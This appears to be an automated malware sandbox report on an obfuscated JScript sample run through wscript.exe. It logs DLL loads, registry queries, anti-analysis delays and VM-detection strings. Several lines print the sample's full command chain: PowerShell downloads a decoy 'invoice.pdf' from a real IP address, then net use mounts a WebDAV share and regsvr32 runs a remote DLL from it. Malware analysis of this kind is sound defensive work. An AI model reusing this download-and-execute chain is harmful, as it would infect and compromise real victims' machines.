Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9216.js.csv");ITextStream.WriteLine(" entry:7973 f:iytjh");ITextStream.WriteLine(" exec:2 f:iytjh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4429			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5221			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 900	Thread sleep count: 4429 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 900	Thread sleep count: 5221 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2168	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1928	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4640	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2452	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000001.00000003.1500866911.0000024CB6736000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\^?
Source: net.exe, 00000007.00000002.1562228406.000001D908E72000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562228406.000001D908E08000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2798716133.000002563542B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2800697498.000002563AA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15381238210054.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
